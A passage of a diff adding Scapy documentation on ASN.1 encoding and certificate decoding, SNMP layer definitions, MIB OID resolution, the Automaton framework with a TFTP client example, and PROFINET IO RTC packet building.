xd7k5\x9cC\x00j\xc4\x95g\xba\x9cE\xcb\xb8\x0e7\xf7\xdcN\x01O\xbe\n\xb6\x03\xd3\xad\x8aE\xf7\xda\'M)\xb1H\xdf\xe4\x11\xe4\x96F\xbdl\x02>\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01<Q\x08.(\x18\xa4\x16\x0f1\xfd:l#\x93 v\xe1\xfd\x07\x85\xd1[?\xd2\x1cs2\xdd\xfa\xb9\xf8\x8c\xcf\x02\x87z\x9a\x96\xe4\xedO\x89\x8dSC\xab\x0e\x13\xc0\x01\x15\xb4y8\xdb\xfcn=\x9eQ\xb6\xb8\x13\x8bg\xcf\xf9|\xd9"\x1d\xf6]\xc5\x1c\x01/\x98\xe8z$\x18\xbc\x84\xd7\xfa\xdcr[\xf7\xc1:h'
+    
+The ``Context`` class must be specified::
+
+    >>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509)
+    >>> dcert.show()
+    # ASN1_SEQUENCE:
+      # ASN1_SEQUENCE:
+        # ASN1_X509_CONT0:
+          <ASN1_INTEGER[2L]>
+        <ASN1_INTEGER[1L]>
+        # ASN1_SEQUENCE:
+          <ASN1_OID['.1.2.840.113549.1.1.5']>
+          <ASN1_NULL[0L]>
+        # ASN1_SEQUENCE:
+          # ASN1_SET:
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.4.6']>
+              <ASN1_PRINTABLE_STRING['US']>
+          # ASN1_SET:
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.4.10']>
+              <ASN1_PRINTABLE_STRING['AOL Time Warner Inc.']>
+          # ASN1_SET:
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.4.11']>
+              <ASN1_PRINTABLE_STRING['America Online Inc.']>
+          # ASN1_SET:
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.4.3']>
+              <ASN1_PRINTABLE_STRING['AOL Time Warner Root Certification Authority 2']>
+        # ASN1_SEQUENCE:
+          <ASN1_UTC_TIME['020529060000Z']>
+          <ASN1_UTC_TIME['370928234300Z']>
+        # ASN1_SEQUENCE:
+          # ASN1_SET:
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.4.6']>
+              <ASN1_PRINTABLE_STRING['US']>
+          # ASN1_SET:
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.4.10']>
+              <ASN1_PRINTABLE_STRING['AOL Time Warner Inc.']>
+          # ASN1_SET:
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.4.11']>
+              <ASN1_PRINTABLE_STRING['America Online Inc.']>
+          # ASN1_SET:
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.4.3']>
+              <ASN1_PRINTABLE_STRING['AOL Time Warner Root Certification Authority 2']>
+        # ASN1_SEQUENCE:
+          # ASN1_SEQUENCE:
+            <ASN1_OID['.1.2.840.113549.1.1.1']>
+            <ASN1_NULL[0L]>
+          <ASN1_BIT_STRING['\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc<M\r\x85L\x15lF\x8bRx\x9f\xf8#\xfdg\xf5$:h]\xd0\xf7daAT\xa3\x8b\xa5\x08\xd2)[\x9b`O&\x83\xd1c\x12VIv\xa4\x16\xc2\xa5\x9dE\xac\x8b\x84\x95\xa8\x16\xb1\xec\x9f\xea$\x1a\xef\xb9W\\\x9a$!,M\x0eq\x1f\xa6\xac]Et\x03\x98\xc4T\x8c\x16JAw\x86\x95u\x0cG\x01f`\xfc\x15\xf1\x0f\xea\xf5\x14x\xc7\x0e\xd7n\x81\x1c^\xbf^\xe7:*\xd8\x97\x170|\x00\xad\x08\x9d3\xaf\xb8\x99a\x80\x8b\xa8\x95~\x14\xdc\x12l\xa4\xd0\xd8\xef@I\x026\xf9n\xa9\xd6\x1d\x96V\x04\xb2\xb3-\x16V\x86\x8f\xd9 W\x80\xcdg\x10m\xb0L\xf0\xdaF\xb6\xea%.F\xaf\x8d\xb0\x8584\x8b\x14&\x82+\xac\xae\x99\x0b\x8e\x14\xd7R\xbd\x9ei\xc3\x86\x02\x0b\xeavu1\t\xce3\x19!\x85C\xe6\x89-\x9f%7g\xf1#j\xd2\x00m\x97\xf9\x9f\xe7)\xca\xdd\x1f\xd7\x06\xea\xb8\xc9\xb9\t!\x9f\xc8?\x06\xc5\xd2\xe9\x12F\x00N{\x08\xebB=+Hn\x9dg\xddK\x02\xe4D\xf3\x93\x19\xa5\'\xceiz\xbeg\xd3\xfcP\xa4,\xab\xc3k\xb9\xe3\x80L\xcf\x05aK+\xdc\x1b\xb9\xa6\xd2\xd0\xaa\xf5+s\xfb\xce\x905\x9f\x0cR\x1c\xbf\\!a\x11[\x15K\xa9$Q\xfc\xa4\\\xf7\x17\x9d\xb0\xd2\xfa\x07\xe9\x8fV\xe4\x1a\x8ch\x8a\x04\xd3|Z\xe3\x9e\xa2\xa1\xcaq[\xa2\xd4\xa0\xe7)\x85]\x03h*O\xd2\x06\xd7=\xf9\xc3\x03/?e\xf9g\x1eG@\xd3c\x0f\xe3\xd5\x8e\xf9\x85\xab\x97L\xb3\xd7&\xeb\x96\n\x94\xde\x856\x9c\xc8\x7f\x81\t\x02I*\x0e\xf5d2\x0c\x82\xd1\xbaj\x82\x1b\xb3Kt\x11\xf3\x8cw\xd6\x9f\xbf\xdc7\xa4\xa7U\x04/\xd41\xe8\xd3F\xb9\x03|\xda\x12NYd\xb7Q11P\xa0\xca\x1c\'\xd9\x10.\xad\xd6\xbd\x10f+\xc3\xb0"J\x12[\x02\x03\x01\x00\x01']>
+        # ASN1_X509_CONT3:
+          # ASN1_SEQUENCE:
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.29.19']>
+              <ASN1_BOOLEAN[-1L]>
+              <ASN1_STRING['0\x03\x01\x01\xff']>
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.29.14']>
+              <ASN1_STRING['\x04\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (']>
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.29.35']>
+              <ASN1_STRING['0\x16\x80\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (']>
+            # ASN1_SEQUENCE:
+              <ASN1_OID['.2.5.29.15']>
+              <ASN1_BOOLEAN[-1L]>
+              <ASN1_STRING['\x03\x02\x01\x86']>
+      # ASN1_SEQUENCE:
+        <ASN1_OID['.1.2.840.113549.1.1.5']>
+        <ASN1_NULL[0L]>
+      <ASN1_BIT_STRING['\x00;\xf3\xae\xca\xe8.\x87\x85\xfbeY\xe7\xad\x11\x14\xa5W\xbcX\x9f$\x12W\xbb\xfb?4\xda\xee\xadz*4rp1k\xc7\x19\x98\x80\xc9\x82\xde7w^T\x8b\x8e\xf2\xeagO\xc9t\x84\x91V\t\xd5\xe5z\x9a\x81\xb6\x81\xc2\xad6\xe4\xf1T\x11S\xf34E\x01&\xc8\xe5\x1a\xbc4D!\xde\xad%\xfcv\x16w!\x90\x80\x98W\x9dN\xea\xec/\xaa<\x14{W\xc1~\x18\x14g\xee$\xc6\xbd\xba\x15\xb0\xd2\x18\xbd\xb7U\x81\xacS\xc0\xe8\xddi\x12\x13B\xb7\x02\xb5\x05A\xcayPn\x82\x0eqr\x93F\xe8\x9d\r]\xbd\xae\xce)\xadc\xd5U\x16\x800\'\xffv\xba\xf7\xb8\xd6J\xe3\xd9\xb5\xf9R\xd0N@\xa9\xc7\xe5\xc22\xc7\xaav$\xe1k\x05P\xeb\xc5\xbf\nT\xe5\xb9B<$\xfb\xb7\x07\x9c0\x9fyZ\xe6\xe0@R\x15\xf4\xfc\xaa\xf4V\xf9D\x97\x87\xed\x0eer^\xbe&\xfbM\xa4-\x08\x07\xde\xd8\\\xa0\xdc\x813\x99\x18%\x11w\xa7\xeb\xfdX\t,\x99k\x1b\x8a\xf3R?\x1aMH`\xf1\xa0\xf63\x02S\x8b\xed%\t\xb8\r-\xed\x97s\xec\xd7\x96\x1f\x8e`\x0e\xda\x10\x9b/\x18$\xf6\xa6M\n\xf9;\xcbu\xc2\xcc/\xce$i\xc9\n"\x8eY\xa7\xf7\x82\x0c\xd7\xd7k5\x9cC\x00j\xc4\x95g\xba\x9cE\xcb\xb8\x0e7\xf7\xdcN\x01O\xbe\n\xb6\x03\xd3\xad\x8aE\xf7\xda\'M)\xb1H\xdf\xe4\x11\xe4\x96F\xbdl\x02>\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01<Q\x08.(\x18\xa4\x16\x0f1\xfd:l#\x93 v\xe1\xfd\x07\x85\xd1[?\xd2\x1cs2\xdd\xfa\xb9\xf8\x8c\xcf\x02\x87z\x9a\x96\xe4\xedO\x89\x8dSC\xab\x0e\x13\xc0\x01\x15\xb4y8\xdb\xfcn=\x9eQ\xb6\xb8\x13\x8bg\xcf\xf9|\xd9"\x1d\xf6]\xc5\x1c\x01/\x98\xe8z$\x18\xbc\x84\xd7\xfa\xdcr[\xf7\xc1:h']>
+
+ASN.1 layers
+^^^^^^^^^^^^
+
+While this may be nice, it's only an ASN.1 encoder/decoder. Nothing related to Scapy yet.
+
+ASN.1 fields
+~~~~~~~~~~~~
+
+Scapy provides ASN.1 fields. They will wrap ASN.1 objects and provide the necessary logic to bind a field name to the value. ASN.1 packets will be described as a tree of ASN.1 fields. Then each field name will be made available as a normal ``Packet`` object, in a flat flavor (ex: to access the version field of a SNMP packet, you don't need to know how many containers wrap it).
+
+Each ASN.1 field is linked to an ASN.1 object through its tag.
+
+
+ASN.1 packets
+~~~~~~~~~~~~~
+
+ASN.1 packets inherit from the Packet class. Instead of a ``fields_desc`` list of fields, they define ``ASN1_codec`` and ``ASN1_root`` attributes. The first one is a codec (for example: ``ASN1_Codecs.BER``), the second one is a tree compounded with ASN.1 fields.
+
+A complete example: SNMP
+------------------------
+
+SNMP defines new ASN.1 objects. We need to define them::
+
+    class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):
+        name="SNMP"
+        PDU_GET = 0xa0
+        PDU_NEXT = 0xa1
+        PDU_RESPONSE = 0xa2
+        PDU_SET = 0xa3
+        PDU_TRAPv1 = 0xa4
+        PDU_BULK = 0xa5
+        PDU_INFORM = 0xa6
+        PDU_TRAPv2 = 0xa7
+
+These objects are PDU, and are in fact new names for a sequence container (this is generally the case for context objects: they are old containers with new names). This means creating the corresponding ASN.1 objects and BER codecs is simplistic::
+
+    class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE):
+        tag = ASN1_Class_SNMP.PDU_GET
+    
+    class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE):
+        tag = ASN1_Class_SNMP.PDU_NEXT
+    
+    # [...]
+    
+    class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE):
+        tag = ASN1_Class_SNMP.PDU_GET
+    
+    class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE):
+        tag = ASN1_Class_SNMP.PDU_NEXT
+    
+    # [...]
+
+Metaclasses provide the magic behind the fact that everything is automatically registered and that ASN.1 objects and BER codecs can find each other.
+
+The ASN.1 fields are also trivial::
+    
+    class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE):
+        ASN1_tag = ASN1_Class_SNMP.PDU_GET
+    
+    class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE):
+        ASN1_tag = ASN1_Class_SNMP.PDU_NEXT
+    
+    # [...]
+
+Now, the hard part, the ASN.1 packet::
+
+    SNMP_error = { 0: "no_error",
+                   1: "too_big",
+    # [...]
+                 }
+    
+    SNMP_trap_types = { 0: "cold_start",
+                        1: "warm_start",
+    # [...]
+                      }
+    
+    class SNMPvarbind(ASN1_Packet):
+        ASN1_codec = ASN1_Codecs.BER
+        ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"),
+                                    ASN1F_field("value",ASN1_NULL(0))
+                                    )
+    
+    
+    class SNMPget(ASN1_Packet):
+        ASN1_codec = ASN1_Codecs.BER
+        ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0),
+                                        ASN1F_enum_INTEGER("error",0, SNMP_error),
+                                        ASN1F_INTEGER("error_index",0),
+                                        ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
+                                        )
+    
+    class SNMPnext(ASN1_Packet):
+        ASN1_codec = ASN1_Codecs.BER
+        ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0),
+                                         ASN1F_enum_INTEGER("error",0, SNMP_error),
+                                         ASN1F_INTEGER("error_index",0),
+                                         ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
+                                         )
+    # [...]
+    
+    class SNMP(ASN1_Packet):
+        ASN1_codec = ASN1_Codecs.BER
+        ASN1_root = ASN1F_SEQUENCE(
+            ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}),
+            ASN1F_STRING("community","public"),
+            ASN1F_CHOICE("PDU", SNMPget(),
+                         SNMPget, SNMPnext, SNMPresponse, SNMPset,
+                         SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2)
+            )
+        def answers(self, other):
+            return ( isinstance(self.PDU, SNMPresponse)    and
+                     ( isinstance(other.PDU, SNMPget) or
+                       isinstance(other.PDU, SNMPnext) or
+                       isinstance(other.PDU, SNMPset)    ) and
+                     self.PDU.id == other.PDU.id )
+    # [...]
+    bind_layers( UDP, SNMP, sport=161)
+    bind_layers( UDP, SNMP, dport=161)
+
+That wasn't that much difficult. If you think that can't be that short to implement SNMP encoding/decoding and that I may may have cut too much, just look at the complete source code.
+
+Now, how to use it? As usual::
+
+    >>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.2.3",value=5),
+    ...                                            SNMPvarbind(oid="3.2.1",value="hello")]))
+    >>> a.show()
+    ###[ SNMP ]###
+      version= v3
+      community= 'public'
+      \PDU\
+       |###[ SNMPget ]###
+       |  id= 0
+       |  error= no_error
+       |  error_index= 0
+       |  \varbindlist\
+       |   |###[ SNMPvarbind ]###
+       |   |  oid= '1.2.3'
+       |   |  value= 5
+       |   |###[ SNMPvarbind ]###
+       |   |  oid= '3.2.1'
+       |   |  value= 'hello'
+    >>> hexdump(a)
+    0000   30 2E 02 01 03 04 06 70  75 62 6C 69 63 A0 21 02   0......public.!.
+    0010   01 00 02 01 00 02 01 00  30 16 30 07 06 02 2A 03   ........0.0...*.
+    0020   02 01 05 30 0B 06 02 7A  01 04 05 68 65 6C 6C 6F   ...0...z...hello
+    >>> send(IP(dst="1.2.3.4")/UDP()/SNMP())
+    .
+    Sent 1 packets.
+    >>> SNMP(raw(a)).show()
+    ###[ SNMP ]###
+      version= <ASN1_INTEGER[3L]>
+      community= <ASN1_STRING['public']>
+      \PDU\
+       |###[ SNMPget ]###
+       |  id= <ASN1_INTEGER[0L]>
+       |  error= <ASN1_INTEGER[0L]>
+       |  error_index= <ASN1_INTEGER[0L]>
+       |  \varbindlist\
+       |   |###[ SNMPvarbind ]###
+       |   |  oid= <ASN1_OID['.1.2.3']>
+       |   |  value= <ASN1_INTEGER[5L]>
+       |   |###[ SNMPvarbind ]###
+       |   |  oid= <ASN1_OID['.3.2.1']>
+       |   |  value= <ASN1_STRING['hello']>
+       
+       
+
+Resolving OID from a MIB
+------------------------
+
+About OID objects
+^^^^^^^^^^^^^^^^^
+
+OID objects are created with an ``ASN1_OID`` class::
+
+    >>> o1=ASN1_OID("2.5.29.10")
+    >>> o2=ASN1_OID("1.2.840.113549.1.1.1")
+    >>> o1,o2
+    (<ASN1_OID['.2.5.29.10']>, <ASN1_OID['.1.2.840.113549.1.1.1']>)
+
+Loading a MIB
+^^^^^^^^^^^^^
+
+Scapy can parse MIB files and become aware of a mapping between an OID and its name::
+
+    >>> load_mib("mib/*")
+    >>> o1,o2
+    (<ASN1_OID['basicConstraints']>, <ASN1_OID['rsaEncryption']>)
+
+The MIB files I've used are attached to this page.
+
+Scapy's MIB database
+^^^^^^^^^^^^^^^^^^^^
+
+All MIB information is stored into the conf.mib object. This object can be used to find the OID of a name
+
+::
+
+    >>> conf.mib.sha1_with_rsa_signature
+    '1.2.840.113549.1.1.5'
+
+or to resolve an OID::
+
+    >>> conf.mib._oidname("1.2.3.6.1.4.1.5")
+    'enterprises.5'
+
+It is even possible to graph it::
+
+    >>> conf.mib._make_graph()
+
+
+    
+Automata
+========
+
+Scapy enables to create easily network automata. Scapy does not stick to a specific model like Moore or Mealy automata. It provides a flexible way for you to choose you way to go.
+
+An automaton in Scapy is deterministic. It has different states. A start state and some end and error states. There are transitions from one state to another. Transitions can be transitions on a specific condition, transitions on the reception of a specific packet or transitions on a timeout. When a transition is taken, one or more actions can be run. An action can be bound to many transitions. Parameters can be passed from states to transitions and from transitions to states and actions.
+
+From a programmer's point of view, states, transitions and actions are methods from an Automaton subclass. They are decorated to provide meta-information needed in order for the automaton to work.
+
+First example
+-------------
+
+Let's begin with a simple example. I take the convention to write states with capitals, but anything valid with Python syntax would work as well.
+
+::
+
+    class HelloWorld(Automaton):
+        @ATMT.state(initial=1)
+        def BEGIN(self):
+            print "State=BEGIN"
+    
+        @ATMT.condition(BEGIN)
+        def wait_for_nothing(self):
+            print "Wait for nothing..."
+            raise self.END()
+    
+        @ATMT.action(wait_for_nothing)
+        def on_nothing(self):
+            print "Action on 'nothing' condition"
+    
+        @ATMT.state(final=1)
+        def END(self):
+            print "State=END"
+
+In this example, we can see 3 decorators:
+
+* ``ATMT.state`` that is used to indicate that a method is a state, and that can
+  have initial, final and error optional arguments set to non-zero for special states.
+* ``ATMT.condition`` that indicate a method to be run when the automaton state 
+  reaches the indicated state. The argument is the name of the method representing that state
+* ``ATMT.action`` binds a method to a transition and is run when the transition is taken. 
+
+Running this example gives the following result::
+
+    >>> a=HelloWorld()
+    >>> a.run()
+    State=BEGIN
+    Wait for nothing...
+    Action on 'nothing' condition
+    State=END
+
+This simple automaton can be described with the following graph:
+
+.. image:: graphics/ATMT_HelloWorld.*
+
+The graph can be automatically drawn from the code with::
+
+    >>> HelloWorld.graph()
+
+Changing states
+---------------
+
+The ``ATMT.state`` decorator transforms a method into a function that returns an exception. If you raise that exception, the automaton state will be changed. If the change occurs in a transition, actions bound to this transition will be called. The parameters given to the function replacing the method will be kept and finally delivered to the method. The exception has a method action_parameters that can be called before it is raised so that it will store parameters to be delivered to all actions bound to the current transition.
+
+As an example, let's consider the following state::
+
+    @ATMT.state()
+    def MY_STATE(self, param1, param2):
+        print "state=MY_STATE. param1=%r param2=%r" % (param1, param2)
+
+This state will be reached with the following code::
+
+    @ATMT.receive_condition(ANOTHER_STATE)
+    def received_ICMP(self, pkt):
+        if ICMP in pkt:
+            raise self.MY_STATE("got icmp", pkt[ICMP].type)
+
+Let's suppose we want to bind an action to this transition, that will also need some parameters::
+
+    @ATMT.action(received_ICMP)
+    def on_ICMP(self, icmp_type, icmp_code):
+        self.retaliate(icmp_type, icmp_code)
+
+The condition should become::
+
+    @ATMT.receive_condition(ANOTHER_STATE)
+    def received_ICMP(self, pkt):
+        if ICMP in pkt:
+            raise self.MY_STATE("got icmp", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code)
+
+Real example
+------------
+
+Here is a real example take from Scapy. It implements a TFTP client that can issue read requests.
+
+.. image:: graphics/ATMT_TFTP_read.*
+
+::
+
+    class TFTP_read(Automaton):
+        def parse_args(self, filename, server, sport = None, port=69, **kargs):
+            Automaton.parse_args(self, **kargs)
+            self.filename = filename
+            self.server = server
+            self.port = port
+            self.sport = sport
+    
+        def master_filter(self, pkt):
+            return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt
+                     and pkt[UDP].dport == self.my_tid
+                     and (self.server_tid is None or pkt[UDP].sport == self.server_tid) )
+            
+        # BEGIN
+        @ATMT.state(initial=1)
+        def BEGIN(self):
+            self.blocksize=512
+            self.my_tid = self.sport or RandShort()._fix()
+            bind_bottom_up(UDP, TFTP, dport=self.my_tid)
+            self.server_tid = None
+            self.res = ""
+    
+            self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP()
+            self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet")
+            self.send(self.last_packet)
+            self.awaiting=1
+            
+            raise self.WAITING()
+            
+        # WAITING
+        @ATMT.state()
+        def WAITING(self):
+            pass
+    
+        @ATMT.receive_condition(WAITING)
+        def receive_data(self, pkt):
+            if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting:
+                if self.server_tid is None:
+                    self.server_tid = pkt[UDP].sport
+                    self.l3[UDP].dport = self.server_tid
+                raise self.RECEIVING(pkt)
+        @ATMT.action(receive_data)
+        def send_ack(self):
+            self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting)
+            self.send(self.last_packet)
+    
+        @ATMT.receive_condition(WAITING, prio=1)
+        def receive_error(self, pkt):
+            if TFTP_ERROR in pkt:
+                raise self.ERROR(pkt)
+    
+        @ATMT.timeout(WAITING, 3)
+        def timeout_waiting(self):
+            raise self.WAITING()
+        @ATMT.action(timeout_waiting)
+        def retransmit_last_packet(self):
+            self.send(self.last_packet)
+    
+        # RECEIVED
+        @ATMT.state()
+        def RECEIVING(self, pkt):
+            recvd = pkt[Raw].load
+            self.res += recvd
+            self.awaiting += 1
+            if len(recvd) == self.blocksize:
+                raise self.WAITING()
+            raise self.END()
+    
+        # ERROR
+        @ATMT.state(error=1)
+        def ERROR(self,pkt):
+            split_bottom_up(UDP, TFTP, dport=self.my_tid)
+            return pkt[TFTP_ERROR].summary()
+        
+        #END
+        @ATMT.state(final=1)
+        def END(self):
+            split_bottom_up(UDP, TFTP, dport=self.my_tid)
+            return self.res
+
+It can be run like this, for instance::
+
+    >>> TFTP_read("my_file", "192.168.1.128").run()
+
+Detailed documentation
+----------------------
+
+Decorators
+^^^^^^^^^^
+Decorator for states
+~~~~~~~~~~~~~~~~~~~~
+
+States are methods decorated by the result of the ``ATMT.state`` function. It can take 3 optional parameters, ``initial``, ``final`` and ``error``, that, when set to ``True``, indicate that the state is an initial, final or error state.
+
+::
+
+    class Example(Automaton):
+        @ATMT.state(initial=1)
+        def BEGIN(self):
+            pass
+    
+        @ATMT.state()
+        def SOME_STATE(self):
+            pass
+    
+        @ATMT.state(final=1)
+        def END(self):
+            return "Result of the automaton: 42"
+    
+        @ATMT.state(error=1)
+        def ERROR(self):
+            return "Partial result, or explanation"
+    # [...]
+
+Decorators for transitions
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Transitions are methods decorated by the result of one of ``ATMT.condition``, ``ATMT.receive_condition``, ``ATMT.timeout``. They all take as argument the state method they are related to. ``ATMT.timeout`` also have a mandatory ``timeout`` parameter to provide the timeout value in seconds. ``ATMT.condition`` and ``ATMT.receive_condition`` have an optional ``prio`` parameter so that the order in which conditions are evaluated can be forced. Default priority is 0. Transitions with the same priority level are called in an undetermined order.
+
+When the automaton switches to a given state, the state's method is executed. Then transitions methods are called at specific moments until one triggers a new state (something like ``raise self.MY_NEW_STATE()``). First, right after the state's method returns, the ``ATMT.condition`` decorated methods are run by growing prio. Then each time a packet is received and accepted by the master filter all ``ATMT.receive_condition`` decorated hods are called by growing prio. When a timeout is reached since the time we entered into the current space, the corresponding ``ATMT.timeout`` decorated method is called.
+
+::
+
+    class Example(Automaton):
+        @ATMT.state()
+        def WAITING(self):
+            pass
+    
+        @ATMT.condition(WAITING)
+        def it_is_raining(self):
+            if not self.have_umbrella:
+                raise self.ERROR_WET()
+    
+        @ATMT.receive_condition(WAITING, prio=1)
+        def it_is_ICMP(self, pkt):
+            if ICMP in pkt:
+                raise self.RECEIVED_ICMP(pkt)
+                
+        @ATMT.receive_condition(WAITING, prio=2)
+        def it_is_IP(self, pkt):
+            if IP in pkt:
+                raise self.RECEIVED_IP(pkt)
+        
+        @ATMT.timeout(WAITING, 10.0)
+        def waiting_timeout(self):
+            raise self.ERROR_TIMEOUT()
+
+Decorator for actions
+~~~~~~~~~~~~~~~~~~~~~
+
+Actions are methods that are decorated by the return of ``ATMT.action`` function. This function takes the transition method it is bound to as first parameter and an optional priority ``prio`` as a second parameter. Default priority is 0. An action method can be decorated many times to be bound to many transitions.
+
+::
+
+    class Example(Automaton):
+        @ATMT.state(initial=1)
+        def BEGIN(self):
+            pass
+    
+        @ATMT.state(final=1)
+        def END(self):
+            pass
+    
+        @ATMT.condition(BEGIN, prio=1)
+        def maybe_go_to_end(self):
+            if random() > 0.5:
+                raise self.END()
+        @ATMT.condition(BEGIN, prio=2)
+        def certainly_go_to_end(self):
+            raise self.END()
+    
+        @ATMT.action(maybe_go_to_end)
+        def maybe_action(self):
+            print "We are lucky..."
+        @ATMT.action(certainly_go_to_end)
+        def certainly_action(self):
+            print "We are not lucky..."
+        @ATMT.action(maybe_go_to_end, prio=1)
+        @ATMT.action(certainly_go_to_end, prio=1)
+        def always_action(self):
+            print "This wasn't luck!..."
+
+The two possible outputs are::
+
+    >>> a=Example()
+    >>> a.run()
+    We are not lucky...
+    This wasn't luck!...
+    >>> a.run()
+    We are lucky...
+    This wasn't luck!...
+
+Methods to overload
+^^^^^^^^^^^^^^^^^^^
+
+Two methods are hooks to be overloaded:
+
+* The ``parse_args()`` method is called with arguments given at ``__init__()`` and ``run()``. Use that to parametrize the behaviour of your automaton.
+
+* The ``master_filter()`` method is called each time a packet is sniffed and decides if it is interesting for the automaton. When working on a specific protocol, this is where you will ensure the packet belongs to the connection you are being part of, so that you do not need to make all the sanity checks in each transition.
+
+PROFINET IO RTC
+===============
+
+PROFINET IO is an industrial protocol composed of different layers such as the Real-Time Cyclic (RTC) layer, used to exchange data. However, this RTC layer is stateful and depends on a configuration sent through another layer: the DCE/RPC endpoint of PROFINET. This configuration defines where each exchanged piece of data must be located in the RTC ``data`` buffer, as well as the length of this same buffer. Building such packet is then a bit more complicated than other protocols.
+
+RTC data packet
+---------------
+
+The first thing to do when building the RTC ``data`` buffer is to instanciate each Scapy packet which represents a piece of data. Each one of them may require some specific piece of configuration, such as its length. All packets and their configuration are:
+
+* ``PNIORealTimeRawData``: a simple raw data like ``Raw``
+
+  * ``length``: defines the length of the data
+
+* ``Profisafe``: the PROFIsafe profile to perform functional safety
+
+  * ``length``: defines the length of the whole packet
+  * ``CRC``: defines the length of the CRC, either ``3`` or ``4``
+
+* ``PNIORealTimeIOxS``: either an IO Consumer or Provider Status byte
+
+  * Doesn't require any configuration
+
+To instanciate one of these packets with its configuration, the ``config`` argument must be given. It is a ``dict()`` which contains all the required piece of configuration::
+
+    >>> load_contrib('pnio_rtc')
+    >>> raw(PNIORealTimeRawData(load='AAA', config={'length': 4}))
+    'AAA\x00'
+    >>> raw(Profisafe(load='AAA', Control_Status=0x20, CRC=0x424242, config={'length': 8, 'CRC': 3}))
+    'AAA\x00 BBB'
+    >>> hexdump(PNIORealTimeIOxS())
+    0000   80                                                 .
+
+
+RTC packet
+----------
+
+Now that a data packet can be instanciated, a whole RTC packet may be built. ``PNIORealTime`` contains a field ``data`` which is a list of all data packets to add in the buffer, however, without the configuration, Scapy won't be
+able to dissect it::
+
+    >>> load_contrib("pnio_rtc")
+    >>> p=PNIORealTime(cycleCounter=1024, data=[
+    ... PNIORealTimeIOxS(),
+    ... PNIORealTimeRawData(load='AAA', config={'length':4}) / PNIORealTimeIOxS(),
+    ... Profisafe(load='AAA', Control_Status=0x20, CRC=0x424242, config={'length': 8, 'CRC': 3}) / PNIORealTimeIOxS(),
+    ... ])
+    >>> p.show()
+    ###[ PROFINET Real-Time ]### 
+      len= None
+      dataLen= None
+      \data\
+       |###[ PNIO RTC IOxS ]### 
+       |  dataState= good
+       |  instance= subslot
+       |  reserved= 0x0
+       |  extension= 0
+       |###[ PNIO RTC Raw data ]### 
+       |  load= 'AAA'
+       |###[ PNIO RTC IOxS ]### 
+       |     dataState= good
+       |     instance= subslot
+       |     reserved= 0x0
+       |     extension= 0
+       |###[ PROFISafe ]### 
+       |  load= 'AAA'
+       |  Control_Status= 0x20
+       |  CRC= 0x424242
+       |###[ PNIO RTC IOxS ]### 
+       |     dataState= good
+       |     instance= subslot
+       |     reserved= 0x0
+       |     extension= 0
+      padding= ''
+      cycleCounter= 1024
+      dataStatus= primary+validData+run+no_problem
+      transferStatus= 0
+    
+    >>> p.show2()
+    ###[ PROFINET Real-Time ]### 
+      len= 44
+      dataLen= 15
+      \data\
+       |###[ PNIO RTC Raw data ]### 
+       |  load= '\x80AAA\x00\x80AAA\x00 BBB\x80'
+      padding= ''
+      cycleCounter= 1024
+      dataStatus= primary+validData+run+no_problem
+      transferStatus= 0
+
